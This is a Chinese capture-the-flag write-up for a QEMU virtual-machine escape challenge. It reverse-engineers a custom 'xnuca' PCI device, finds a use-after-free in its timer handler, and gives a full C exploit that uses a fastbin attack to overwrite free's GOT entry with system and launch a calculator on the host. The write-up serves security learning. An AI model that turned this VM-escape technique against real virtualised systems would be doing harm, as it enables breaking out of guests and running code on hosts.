先看启动脚本,那应该就是xnuca设备了
#!/bin/bash
./qemu-system-x86_64 \
-initrd ./rootfs.img \
-kernel ./vmlinuz-4.8.0-52-generic \
-append "console=ttyS0 root=/dev/sda oops=panic panic=1" \
-monitor /dev/null \
-m 64M --nographic -L ./dependency/usr/loacl/share/qemu \
-L ./pc-bios \
-nographic \
-device xnuca
启动后直接root登录就可以了,查看pci设备
# lspci
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:11e9
通过查看xnuca_class_init
函数,可以知道xnuca对应00:04.0 Class 00ff: 1234:11e9
__int64 __fastcall xnuca_class_init(__int64 a1)
{
__int64 result; // rax
result = object_class_dynamic_cast_assert(
a1,
"pci-device",
"/mnt/hgfs/Workbench/CTF/xnuca/qemu/hw/misc/xnuca.c",
183LL,
"xnuca_class_init");
*(_QWORD *)(result + 176) = pci_xnuca_realize;
*(_QWORD *)(result + 184) = pci_xnuca_uninit;
*(_WORD *)(result + 208) = 0x1234;
*(_WORD *)(result + 210) = 0x11E9;
*(_BYTE *)(result + 212) = 0;
*(_WORD *)(result + 214) = 0xFF;
return result;
}
先看read,就是读取0x9D0和0x9DC偏移的数据
__int64 __fastcall xnuca_mmio_read(__int64 State, unsigned __int8 addr)
{
_BYTE v3[12]; // [rsp+20h] [rbp-14h]
*(_DWORD *)&v3[8] = 0;
*(_QWORD *)v3 = addr;
if ( addr == 0x10 )
return *(unsigned int *)(State + 0x9DC);
if ( addr == 0x20 )
*(_QWORD *)&v3[4] = *(unsigned int *)(State + 0x9D0);
return *(_QWORD *)&v3[4];
}
再看write,有3个功能,分别是xnuca_set_timer
、xnuca_send_request
、xnuca_auth
__int64 __fastcall xnuca_mmio_write(__int64 State, int addr, unsigned int value, int size)
{
__int64 result; // rax
int v5; // [rsp+10h] [rbp-30h]
v5 = addr;
result = State;
if ( size == 4 || size == 8 )
{
result = (unsigned __int8)addr;
if ( (unsigned __int8)addr == 0x20 )
{
result = xnuca_set_timer(State);
}
else if ( (_DWORD)result == 0x30 )
{
result = xnuca_send_request(
State,
(unsigned __int64)(addr & 0xF00) >> 8,
(unsigned __int64)((unsigned __int16)addr & 0xF000) >> 12,
(v5 & 0xFF0000u) >> 16,
(unsigned __int8)value);
}
else if ( (_DWORD)result == 0x10 )
{
result = xnuca_auth(State, (unsigned int)(char)value);
}
}
return result;
}
先看xnuca_set_timer
,*(State + 0x9D0)
的最低位是1,次低位是0才能进入,逻辑就是初始化了一个计时器,而且处理后将次低位置1了
__int64 __fastcall xnuca_set_timer(__int64 State)
{
__int64 result; // rax
result = *(_DWORD *)(State + 0x9D0) & 1;
if ( (_DWORD)result )
{
result = *(_DWORD *)(State + 0x9D0) & 2;
if ( !(_DWORD)result )
{
timer_init_ns(State + 0xA00, 0, (__int64)xnuca_timer, State);
result = State;
*(_DWORD *)(State + 0x9D0) |= 2u;
}
}
return result;
}
那么State + 0xA00处是一个QEMUTimer ,计时器到期时要调用xnuca_timer,先看xnuca_timer,可以看到这里free后,没有将指针置空,又是经典堆题放到了qemu
__int64 __fastcall xnuca_timer(__int64 State)
{
__int64 result; // rax
int v2; // eax
void **v3; // rbx
result = *(_DWORD *)(State + 0x9D0) & 4;
if ( (_DWORD)result )
{
v2 = *(_DWORD *)(State + 0x9EC);
switch ( v2 )
{
case 2:
*(_DWORD *)(*(unsigned int *)(State + 0x9F0)
+ *(_QWORD *)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8))) = *(_DWORD *)(State + 0x9F8);
break;
case 3:
free(*(void **)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8)));
break;
case 1:
v3 = (void **)(*(_QWORD *)(State + 0x9E0) + 8LL * *(unsigned int *)(State + 0x9E8));
*v3 = malloc(*(unsigned int *)(State + 0x9F0));
break;
}
result = State;
*(_DWORD *)(State + 0x9D0) &= 0xFFFFFFFB;
}
return result;
}
其实这样看有点难看,默认符号表没有State结构体,经过一顿查看代码逆向,我自己就新建了一个
struct xnucaState
{
_BYTE notuse[2512];
unsigned int cmd_9D0;
_BYTE auth_str[8];
unsigned int count_9DC;
_QWORD heaplist_9E0;
_DWORD offset_9E8;
_DWORD choose_9EC;
_DWORD mallocSize;
_QWORD value_9F8;
_QWORD qemu_timer;
};
再看看,是不是好看多了,那么要进入里面的漏洞代码区域,我们要使cmd_9D0&4 == 1
xnucaState *__fastcall xnuca_timer(xnucaState *State)
{
xnucaState *result; // rax
int v2; // eax
void **v3; // rbx
result = (xnucaState *)(State->cmd_9D0 & 4);
if ( (_DWORD)result )
{
v2 = State->choose_9EC;
switch ( v2 )
{
case 2:
*(_DWORD *)((unsigned int)State->mallocSize
+ *(_QWORD *)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8)) = State->value_9F8;
break;
case 3:
free(*(void **)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8));
break;
case 1:
v3 = (void **)(State->heaplist_9E0 + 8LL * (unsigned int)State->offset_9E8);
*v3 = malloc((unsigned int)State->mallocSize);
break;
}
result = State;
State->cmd_9D0 &= 0xFFFFFFFB;
}
return result;
}
继续看xnuca_send_request
,就是用来设置各种值的,将timer的超时时间设置成当前时间+10纳秒(根据qemu文档中timer_init_ns是以纳秒为单位初始化计时器),那么就相当于立刻执行,xnuca_timer
__int64 __fastcall xnuca_send_request(xnucaState *a1, int a2, int a3, int a4, unsigned int a5)
{
__int64 v5; // rax
a1->offset_9E8 = a2;
a1->choose_9EC = a3;
a1->mallocSize = a4;
a1->value_9F8 = a5;
a1->cmd_9D0 |= 4u;
v5 = qemu_clock_get_ns(1u);
return timer_mod((__int64)&a1->qemu_timer, v5 + 10);
}
最后还有xnuca_auth
,就是count_9DC小于4的时候,将我们的value与a1->auth_str中的比较,相等就+1,否则置0,而count_9DC等于5,则将cmd_9D0最低位置1,同事从星将count_9DC置0
xnucaState *__fastcall xnuca_auth(xnucaState *a1, char a2)
{
xnucaState *result; // rax
if ( a1->count_9DC <= 4 )
{
if ( a1->auth_str[a1->count_9DC] == a2 )
++a1->count_9DC;
else
a1->count_9DC = 0;
}
result = (xnucaState *)a1->count_9DC;
if ( (_DWORD)result == 5 )
{
a1->cmd_9D0 |= 1u;
result = a1;
a1->count_9DC = 0;
}
return result;
}
那么这个auth_str
什么时候设置的呢,在pci_xnuca_realize
里面,这里初始化了State的各个成员了
unsigned __int64 __fastcall pci_xnuca_realize(xnucaState *a1, __int64 a2)
{
unsigned __int64 v2; // ST38_8
__int64 v3; // ST28_8
v2 = __readfsqword(0x28u);
v3 = *(_QWORD *)&a1->notuse[120];
a1->cmd_9D0 = 0;
a1->auth_str[0] = 'X';
a1->auth_str[1] = 'n';
a1->auth_str[2] = 'u';
a1->auth_str[3] = 'c';
a1->auth_str[4] = 'a';
a1->count_9DC = 0;
a1->heaplist_9E0 = &mem_buf;
memset(&a1->offset_9E8, 0, 0x18uLL);
pci_config_set_interrupt_pin_5(v3, 1LL);
memory_region_init_io(&a1->notuse[2272], a1, xnuca_mmio_ops, a1, "xnuca-mmio", 0x10000000LL, a2);
pci_register_bar(a1, 0LL, 0LL, &a1->notuse[2272]);
return __readfsqword(0x28u) ^ v2;
}
利用思路:通过fastbin attack伪造fd指向free got后,修改free got为system plt的地址,最后调用free即可
这个跟defcon ec3一样,只不过这个有符号,但是给这个加了点限制,才能进入漏洞代码:
1、首先调用xnuca_timer
,先得调用xnuca_set_timer
初始化计时器
2、而进入计时器的初始化,需要State->cmd_9D0 & 1 == 1
,那就需要通过xnuca_auth
5次后设置a1->cmd_9D0 |= 1u;
3、最后进入xnuca_timer
中的漏洞代码,需要cmd_9D0 & 4 == 1
,这个可以通过调用xnuca_send_request
设置,不过也得必须调用xnuca_send_request
来传递我们的参数
跟defcon ec3不一样的还有malloc的返回值不是0x7fxxxxxxx,所以指向直接fd劫持到got表,修改free了
最终利用代码:
// -*- coding: utf-8 -*-
// @Date : 2020-01-10
// @Author : giantbranch
// @Link : https://www.giantbranch.cn/
// @tags :
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
// #define MAP_SIZE 4096UL
#define MAP_SIZE 0xfffffff
#define MAP_MASK (MAP_SIZE - 1)
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char* mmio_base;
unsigned char* getMMIOBase(){
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, MAP_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}
void mmio_write(uint64_t addr, uint64_t value, uint32_t size)
{
if (size == 1)
{
*((uint8_t*)(mmio_base + addr)) = value;
}else if (size == 2)
{
*((uint16_t*)(mmio_base + addr)) = value;
}else if (size == 4)
{
*((uint32_t*)(mmio_base + addr)) = value;
}else if (size == 8)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
}
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void xnuca_auth(uint32_t value)
{
mmio_write(0x10, value, 4);
}
void xnuca_set_timer()
{
mmio_write(0x20, 666, 4);
}
void xnuca_send_request(uint32_t index, uint32_t choose, uint32_t mallocSize, uint32_t value, uint32_t size)
{
uint64_t addr = 0x30 | (index << 8) | (choose << 12) | (mallocSize << 16);
mmio_write(addr, value, size);
}
void xnuca_malloc(uint32_t index, uint32_t mallocSize)
{
xnuca_send_request(index, 1, mallocSize, 666, 4);
// 睡眠1微秒,1μs = 1000ns
usleep(1);
}
void xnuca_edit(uint32_t index, uint32_t offset, uint64_t value, uint32_t size)
{
xnuca_send_request(index, 2, offset, value, size);
usleep(1);
}
void xnuca_free(uint32_t index)
{
xnuca_send_request(index, 3, 666, 666, 4);
usleep(1);
}
int main(int argc, char const *argv[])
{
uint64_t system_plt = 0x411420;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
/* 1、xnuca_auth set a1->cmd_9D0 |= 1u;*/
// a1->auth_str[0] = 0x58;
// a1->auth_str[1] = 0x6E;
// a1->auth_str[2] = 0x75;
// a1->auth_str[3] = 0x63;
// a1->auth_str[4] = 0x61;
xnuca_auth(0x58);
xnuca_auth(0x6E);
xnuca_auth(0x75);
xnuca_auth(0x63);
xnuca_auth(0x61);
/*set timer*/
xnuca_set_timer();
//uaf: modify fd
xnuca_malloc(0, 0x30);
xnuca_free(0);
xnuca_edit(0, 0, 0x11b92b2, 8);
// try to get write access
xnuca_malloc(0, 0x30);
xnuca_malloc(1, 0x30);
// // write system_plt to free_got
xnuca_edit(1, 6, system_plt, 4);
xnuca_edit(1, 6+4, 0, 4);
// >>> from pwn import *
// >>> map(hex, unpack_many("gnome-calculator"))
// ['0x6d6f6e67', '0x61632d65', '0x6c75636c', '0x726f7461']
// xnuca_malloc(6, 0x30);
xnuca_edit(0, 0, 0x6d6f6e67, 4);
xnuca_edit(0, 4, 0x61632d65, 4);
xnuca_edit(0, 8, 0x6c75636c, 4);
xnuca_edit(0, 12, 0x726f7461, 4);
xnuca_free(0); // call free —— in fact call system_plt
return 0;
}
最终效果——启动计算器:
扫码关注腾讯云开发者
领取腾讯云代金券
Copyright © 2013 - 2025 Tencent Cloud. All Rights Reserved. 腾讯云 版权所有
深圳市腾讯计算机系统有限公司 ICP备案/许可证号:粤B2-20090059 深公网安备号 44030502008569
腾讯云计算(北京)有限责任公司 京ICP证150476号 | 京ICP备11018762号 | 京公网安备号11010802020287
Copyright © 2013 - 2025 Tencent Cloud.
All Rights Reserved. 腾讯云 版权所有